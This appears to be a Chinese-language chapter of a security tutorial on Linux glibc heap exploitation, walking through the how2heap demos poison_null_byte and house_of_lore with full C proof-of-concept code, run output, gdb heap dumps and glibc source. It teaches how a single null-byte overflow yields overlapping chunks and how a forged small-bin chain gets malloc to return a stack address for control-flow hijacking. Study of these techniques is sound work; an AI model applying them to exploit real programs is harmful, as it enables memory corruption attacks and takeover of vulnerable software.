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2018-08-05 17:43:10 +08:00

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3.1.7 Linux 堆利用（中）

how2heap

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how2heap

poison_null_byte

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main() {
    uint8_t *a, *b, *c, *b1, *b2, *d;

    a = (uint8_t*) malloc(0x10);
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
    fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);

    b = (uint8_t*) malloc(0x100);
    c = (uint8_t*) malloc(0x80);
    fprintf(stderr, "b: %p\n", b);
    fprintf(stderr, "c: %p\n", c);

    uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
    *(size_t*)(b+0xf0) = 0x100;
    fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);

    // deal with tcache
    // int *k[10], i;
    // for (i = 0; i < 7; i++) {
    //     k[i] = malloc(0x100);
    // }
    // for (i = 0; i < 7; i++) {
    //     free(k[i]);
    // }
    free(b);
    uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
    fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);

    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);

    fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x80);
    memset(b1, 'A', 0x80);
    fprintf(stderr, "We malloc 'b1': %p\n", b1);
    fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
    fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));

    b2 = malloc(0x40);
    memset(b2, 'A', 0x40);
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);

    // deal with tcache
    // for (i = 0; i < 7; i++) {
    //     k[i] = malloc(0x80);
    // }
    // for (i = 0; i < 7; i++) {
    //     free(k[i]);
    // }
    free(b1);
    free(c);
    fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

    d = malloc(0x110);
    fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);

    fprintf(stderr, "b2 content:%s\n", b2);
    memset(d, 'B', 0xb0);
    fprintf(stderr, "New b2 content:%s\n", b2);
}

$ gcc -g poison_null_byte.c
$ ./a.out
We allocate 0x10 bytes for 'a': 0xabb010
'real' size of 'a': 0x18
b: 0xabb030
c: 0xabb140
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0x110
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
We malloc 'b1': 0xabb030
c.prev_size: 0x110
fake c.prev_size: 0x70

We malloc 'b2', our 'victim' chunk: 0xabb0c0
Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2': 0xabb030

b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段，攻击者能够在堆中创造出重叠的内存块，从而达到改写其他数据的目的。再结合其他的利用方式，同样能够获得程序的控制权。

对于单字节溢出的利用有下面几种：

扩展被释放块：当溢出块的下一块为被释放块且处于 unsorted bin 中，则通过溢出一个字节来将其大小扩大，下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出

  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |<--实际得到的块->|

扩展已分配块：当溢出块的下一块为使用中的块，则需要合理控制溢出的字节，使其被释放时的合并操作能够顺利进行，例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时，即可取得已经被扩大的块，并造成进一步溢出

  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |<--实际得到的块->|

收缩被释放块：此情况针对溢出的字节只能为 0 的时候，也就是本节所说的 poison-null-byte，此时将下一个被释放的块大小缩小，如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段，导致释放时出现重叠的堆块

  0x100     0x210     0x80
|-------|---------------|-------|
|   A   |       B       |   C   |   初始状态
|-------|---------------|-------|
|   A   |       B       |   C   |   释放 B
|-------|---------------|-------|
|   A   |       B       |   C   |   溢出 B 的 size 为 0x200
|-------|---------------|-------|   之后的 malloc 操作没有更新 C 的 prev_size
         0x100  0x80
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8), malloc(0x80-8)
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 B1
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 C，C 将与 B1 合并
|-------|------|-----|--|-------|  
|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8)
|-------|------|-----|--|-------|   B2 将被覆盖
        |<实际得到的块>|

house of einherjar：也是溢出字节只能为 0 的情况，当它是更新溢出块下一块的 prev_size 字段，使其在被释放时能够找到之前一个合法的被释放块并与其合并，造成堆块重叠

  0x100   0x100   0x101
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   释放 A
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B，覆盖 C 块的 size 为 0x200，并使其 prev_size 为 0x200
|-------|-------|-------|
|   A   |   B   |   C   |   释放 C
|-------|-------|-------|
|   A   |   B   |   C   |   C 将与 A 合并
|-------|-------|-------|   B 块被重叠
|<-----实际得到的块------>|

首先分配三个 chunk，第一个 chunk 类型无所谓，但后两个不能是 fast chunk，因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出，去覆盖 chunk b 的第一个字节，chunk c 的作用是帮助伪造 fake chunk。

首先是溢出，那么就需要知道一个堆块实际可用的内存大小（因为空间复用，可能会比分配时要大一点），用于获得该大小的函数 malloc_usable_size 如下：

/*
   ------------------------- malloc_usable_size -------------------------
 */
static size_t
musable (void *mem)
{
  mchunkptr p;
  if (mem != 0)
    {
      p = mem2chunk (mem);

      [...]
      if (chunk_is_mmapped (p))
        return chunksize (p) - 2 * SIZE_SZ;
      else if (inuse (p))
        return chunksize (p) - SIZE_SZ;
    }
  return 0;
}

/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* extract p's inuse bit */
#define inuse(p)							      \
  ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
/* Get size, ignoring use bits */
#define chunksize(p)         ((p)->size & ~(SIZE_BITS))

所以 real_a_size = chunksize(a) - 0x8 == 0x18。另外需要注意的是程序是通过 next chunk 的 PREV_INUSE 标志来判断某 chunk 是否被使用的。

为了在修改 chunk b 的 size 字段后，依然能通过 unlink 的检查，我们需要伪造一个 c.prev_size 字段，字段的大小是很好计算的，即 0x100 == (0x111 & 0xff00)，正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉，chunk b 随后被放到 unsorted bin 中，大小是 0x110。此时的堆布局如下：

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000111  <-- chunk b [be freed]
0x603030:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000000000	0x0000000000000000
0x603070:	0x0000000000000000	0x0000000000000000
0x603080:	0x0000000000000000	0x0000000000000000
0x603090:	0x0000000000000000	0x0000000000000000
0x6030a0:	0x0000000000000000	0x0000000000000000
0x6030b0:	0x0000000000000000	0x0000000000000000
0x6030c0:	0x0000000000000000	0x0000000000000000
0x6030d0:	0x0000000000000000	0x0000000000000000
0x6030e0:	0x0000000000000000	0x0000000000000000
0x6030f0:	0x0000000000000000	0x0000000000000000
0x603100:	0x0000000000000000	0x0000000000000000
0x603110:	0x0000000000000000	0x0000000000000000
0x603120:	0x0000000000000100	0x0000000000000000      <-- fake c.prev_size
0x603130:	0x0000000000000110	0x0000000000000090  <-- chunk c
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
 →   Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)

最关键的一步，通过溢出漏洞覆写 chunk b 的数据：

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000100  <-- chunk b [be freed]
0x603030:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000000000	0x0000000000000000
0x603070:	0x0000000000000000	0x0000000000000000
0x603080:	0x0000000000000000	0x0000000000000000
0x603090:	0x0000000000000000	0x0000000000000000
0x6030a0:	0x0000000000000000	0x0000000000000000
0x6030b0:	0x0000000000000000	0x0000000000000000
0x6030c0:	0x0000000000000000	0x0000000000000000
0x6030d0:	0x0000000000000000	0x0000000000000000
0x6030e0:	0x0000000000000000	0x0000000000000000
0x6030f0:	0x0000000000000000	0x0000000000000000
0x603100:	0x0000000000000000	0x0000000000000000
0x603110:	0x0000000000000000	0x0000000000000000
0x603120:	0x0000000000000100	0x0000000000000000      <-- fake c.prev_size
0x603130:	0x0000000000000110	0x0000000000000090  <-- chunk c
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
 →   Chunk(addr=0x603030, size=0x100, flags=)

这时，根据我们上一篇文字中讲到的计算方法：

chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100
prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100

可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。

接下来随意分配两个 chunk，malloc 会从 unsorted bin 中划出合适大小的内存返回给用户：

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000091  <-- chunk b1  <-- fake chunk b
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x4141414141414141	0x4141414141414141
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000000051  <-- chunk b2  <-- 'victim' chunk
0x6030c0:	0x4141414141414141	0x4141414141414141
0x6030d0:	0x4141414141414141	0x4141414141414141
0x6030e0:	0x4141414141414141	0x4141414141414141
0x6030f0:	0x4141414141414141	0x4141414141414141
0x603100:	0x0000000000000000	0x0000000000000021  <-- unsorted bin
0x603110:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603120:	0x0000000000000020	0x0000000000000000      <-- fake c.prev_size
0x603130:	0x0000000000000110	0x0000000000000090  <-- chunk c
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

这里有个很有趣的东西，分配堆块后，发生变化的是 fake c.prev_size，而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。

接下来是见证奇迹的时刻，我们知道，两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1，伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c，这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk，然后就将它们合并在了一起，并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间，被直接无视了，现在 malloc 认为这整块区域都是未分配的，新的 top chunk 指针已经说明了一切。

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000020fe1  <-- top chunk
0x603030:	0x0000000000603100	0x00007ffff7dd1b78
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x4141414141414141	0x4141414141414141
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000090	0x0000000000000050  <-- chunk b2  <-- 'victim' chunk
0x6030c0:	0x4141414141414141	0x4141414141414141
0x6030d0:	0x4141414141414141	0x4141414141414141
0x6030e0:	0x4141414141414141	0x4141414141414141
0x6030f0:	0x4141414141414141	0x4141414141414141
0x603100:	0x0000000000000000	0x0000000000000021  <-- unsorted bin
0x603110:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603120:	0x0000000000000020	0x0000000000000000
0x603130:	0x0000000000000110	0x0000000000000090
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

chunk 合并的过程如下，首先该 chunk 与前一个 chunk 合并，然后检查下一个 chunk 是否为 top chunk，如果不是，将合并后的 chunk 放回 unsorted bin 中，否则，合并进 top chunk：

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

    if (nextchunk != av->top) {
    /*
  Place the chunk in unsorted chunk list. Chunks are
  not placed into regular bins until after they have
  been given one chance to be used in malloc.
    */
      [...]
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }

接下来，申请一块大空间，大到可以把 chunk b2 包含进来，这样 chunk b2 就完全被我们控制了。

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000121  <-- chunk d
0x603030:	0x4242424242424242	0x4242424242424242
0x603040:	0x4242424242424242	0x4242424242424242
0x603050:	0x4242424242424242	0x4242424242424242
0x603060:	0x4242424242424242	0x4242424242424242
0x603070:	0x4242424242424242	0x4242424242424242
0x603080:	0x4242424242424242	0x4242424242424242
0x603090:	0x4242424242424242	0x4242424242424242
0x6030a0:	0x4242424242424242	0x4242424242424242
0x6030b0:	0x4242424242424242	0x4242424242424242  <-- chunk b2  <-- 'victim' chunk
0x6030c0:	0x4242424242424242	0x4242424242424242
0x6030d0:	0x4242424242424242	0x4242424242424242
0x6030e0:	0x4141414141414141	0x4141414141414141
0x6030f0:	0x4141414141414141	0x4141414141414141
0x603100:	0x0000000000000000	0x0000000000000021  <-- small bins
0x603110:	0x00007ffff7dd1b88	0x00007ffff7dd1b88      <-- fd, bk pointer
0x603120:	0x0000000000000020	0x0000000000000000
0x603130:	0x0000000000000110	0x0000000000000090
0x603140:	0x0000000000000000	0x0000000000020ec1  <-- top chunk
gef➤  heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

还有个事情值得注意，在分配 chunk d 时，由于在 unsorted bin 中没有找到适合的 chunk，malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了，这里就是 small bins。

最后，继续看 libc-2.26 上的情况，还是一样的，处理好 tchache 就可以了，把两种大小的 tcache bin 都占满。

heap-buffer-overflow，但不知道为什么，加了内存检测参数后，real size 只能是正常的 0x10 了。

$ gcc -fsanitize=address -g poison_null_byte.c
$ ./a.out
We allocate 0x10 bytes for 'a': 0x60200000eff0
'real' size of 'a': 0x10
b: 0x611000009f00
c: 0x60c00000bf80
=================================================================
==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990
READ of size 8 at 0x611000009ef8 thread T0
    #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22
    #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)

0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)
allocated by thread T0 here:
    #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15
    #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

house_of_lore

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main() {
    intptr_t *victim = malloc(0x80);
    memset(victim, 'A', 0x80);
    void *p5 = malloc(0x10);
    memset(p5, 'A', 0x10);
    intptr_t *victim_chunk = victim - 2;
    fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);

    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[3] = {0};
    stack_buffer_1[0] = 0;
    stack_buffer_1[2] = victim_chunk;
    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
    fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
    fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);

    free((void*)victim);
    fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    void *p2 = malloc(0x100);
    fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
    fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    victim[1] = (intptr_t)stack_buffer_1;
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

    void *p3 = malloc(0x40);
    char *p4 = malloc(0x80);
    memset(p4, 'A', 0x10);
    fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
    fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);

    intptr_t sc = (intptr_t)jackpot;
    memcpy((p4+40), &sc, 8);
}

$ gcc -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x1b2e010
stack_buffer_1: 0x7ffe5c570350
stack_buffer_2: 0x7ffe5c570330

Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin
victim->fd: 0x7f239d4c9b78
victim->bk: 0x7f239d4c9b78

Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0
The victim chunk 0x1b2e010 will be inserted in front of the SmallBin
victim->fd: 0x7f239d4c9bf8
victim->bk: 0x7f239d4c9bf8

Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360
The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8

Nice jump d00d

在前面的技术中，我们已经知道怎样去伪造一个 fake chunk，接下来，我们要尝试伪造一条 small bins 链。

首先创建两个 chunk，第一个是我们的 victim chunk，请确保它是一个 small chunk，第二个随意，只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后，在栈上伪造两个 fake chunk，让 fake chunk 1 的 fd 指向 victim chunk，bk 指向 fake chunk 2；fake chunk 2 的 fd 指向 fake chunk 1，这样一个 small bin 链就差不多了：

gef➤  x/26gx victim-2
0x603000:	0x0000000000000000	0x0000000000000091  <-- victim chunk
0x603010:	0x4141414141414141	0x4141414141414141
0x603020:	0x4141414141414141	0x4141414141414141
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x0000000000000000	0x0000000000000021  <-- chunk p5
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000020f51  <-- top chunk
0x6030c0:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx &stack_buffer_2
0x7fffffffdc30:	0x0000000000000000	0x0000000000000000  <-- fake chunk 2
0x7fffffffdc40:	0x00007fffffffdc50	0x0000000000400aed      <-- fd->fake chunk 1
0x7fffffffdc50:	0x0000000000000000	0x0000000000000000  <-- fake chunk 1
0x7fffffffdc60:	0x0000000000603000	0x00007fffffffdc30      <-- fd->victim chunk, bk->fake chunk 2
0x7fffffffdc70:	0x00007fffffffdd60	0x7c008088c400bc00

molloc 中对于 small bin 链表的检查是这样的：

          [...]

          else
            {
              bck = victim->bk;
	if (__glibc_unlikely (bck->fd != victim))
                {
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
              set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;

              [...]

即检查 bin 中第二块的 bk 指针是否指向第一块，来发现对 small bins 的破坏。为了绕过这个检查，所以才需要同时伪造 bin 中的前 2 个 chunk。

接下来释放掉 victim chunk，它会被放到 unsoted bin 中，且 fd/bk 均指向 unsorted bin 的头部：

gef➤  x/26gx victim-2
0x603000:	0x0000000000000000	0x0000000000000091  <-- victim chunk [be freed]
0x603010:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603020:	0x4141414141414141	0x4141414141414141
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x0000000000000090	0x0000000000000020  <-- chunk p5
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000020f51  <-- top chunk
0x6030c0:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
 →   Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)

这时，申请一块大的 chunk，只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk，会被整理回各自的所属的 bins 中，这里就是 small bins：

gef➤  heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[8]: fw=0x603000, bk=0x603000
 →   Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)

接下来是最关键的一步，假设存在一个漏洞，可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin：

gef➤  x/26gx victim-2
0x603000:	0x0000000000000000	0x0000000000000091  <-- victim chunk [be freed]
0x603010:	0x00007ffff7dd1bf8	0x00007fffffffdc50      <-- bk->fake chunk 1
0x603020:	0x4141414141414141	0x4141414141414141
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x0000000000000090	0x0000000000000020  <-- chunk p5
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000000111  <-- chunk p2
0x6030c0:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx &stack_buffer_2
0x7fffffffdc30:	0x0000000000000000	0x0000000000000000  <-- fake chunk 2
0x7fffffffdc40:	0x00007fffffffdc50	0x0000000000400aed      <-- fd->fake chunk 1
0x7fffffffdc50:	0x0000000000000000	0x0000000000000000  <-- fake chunk 1
0x7fffffffdc60:	0x0000000000603000	0x00007fffffffdc30     <-- fd->victim chunk, bk->fake chunk 2
0x7fffffffdc70:	0x00007fffffffdd60	0x7c008088c400bc00

我们知道 small bins 是先进后出的，节点的增加发生在链表头部，而删除发生在尾部。这时整条链是这样的：

HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL

fd: ->
bk: <-

fake chunk 2 的 bk 指向了一个未定义的地址，如果能通过内存泄露等手段，拿到 HEAD 的地址并填进去，整条链就闭合了。当然这里完全没有必要这么做。

接下来的第一个 malloc，会返回 victim chunk 的地址，如果 malloc 的大小正好等于 victim chunk 的大小，那么情况会简单一点。但是这里我们不这样做，malloc 一个小一点的地址，可以看到，malloc 从 small bin 里取出了末尾的 victim chunk，切了一块返回给 chunk p3，然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样：

HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL

gef➤  x/26gx victim-2
0x603000:	0x0000000000000000	0x0000000000000051  <-- chunk p3
0x603010:	0x00007ffff7dd1bf8	0x00007fffffffdc50
0x603020:	0x4141414141414141	0x4141414141414141
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x0000000000000041  <-- unsorted bin
0x603060:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x0000000000000040	0x0000000000000020  <-- chunk p5
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000000111  <-- chunk p2
0x6030c0:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx &stack_buffer_2
0x7fffffffdc30:	0x0000000000000000	0x0000000000000000  <-- fake chunk 2
0x7fffffffdc40:	0x00007fffffffdc50	0x0000000000400aed      <-- fd->fake chunk 1
0x7fffffffdc50:	0x0000000000000000	0x0000000000000000  <-- fake chunk 1
0x7fffffffdc60:	0x00007ffff7dd1bf8	0x00007fffffffdc30      <-- fd->TAIL, bk->fake chunk 2
0x7fffffffdc70:	0x00007fffffffdd60	0x7c008088c400bc00
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603050, bk=0x603050
 →   Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)

最后，再次 malloc 将返回 fake chunk 1 的地址，地址在栈上且我们能够控制。同时 small bin 变成这样：

HEAD(undefined) <-> fake chunk 2 <-> TAIL

gef➤  x/10gx &stack_buffer_2
0x7fffffffdc30:	0x0000000000000000	0x0000000000000000  <-- fake chunk 2
0x7fffffffdc40:	0x00007ffff7dd1bf8	0x0000000000400aed      <-- fd->TAIL
0x7fffffffdc50:	0x0000000000000000	0x0000000000000000  <-- chunk 4
0x7fffffffdc60:	0x4141414141414141	0x4141414141414141
0x7fffffffdc70:	0x00007fffffffdd60	0x7c008088c400bc00

于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。

最后再想一下，其实最初的 victim chunk 使用 fast chunk 也是可以的，其释放后虽然是被加入到 fast bins 中，而不是 unsorted bin，但 malloc 之后，也会被整理到 small bins 里。自行尝试吧。

heap-use-after-free，所以上面我们用于修改 bk 指针的漏洞，应该就是一个 UAF 吧，当然溢出也是可以的：

$ gcc -fsanitize=address -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x60c00000bf80
stack_buffer_1: 0x7ffd1fbc5cd0
stack_buffer_2: 0x7ffd1fbc5c90

Freeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin
=================================================================
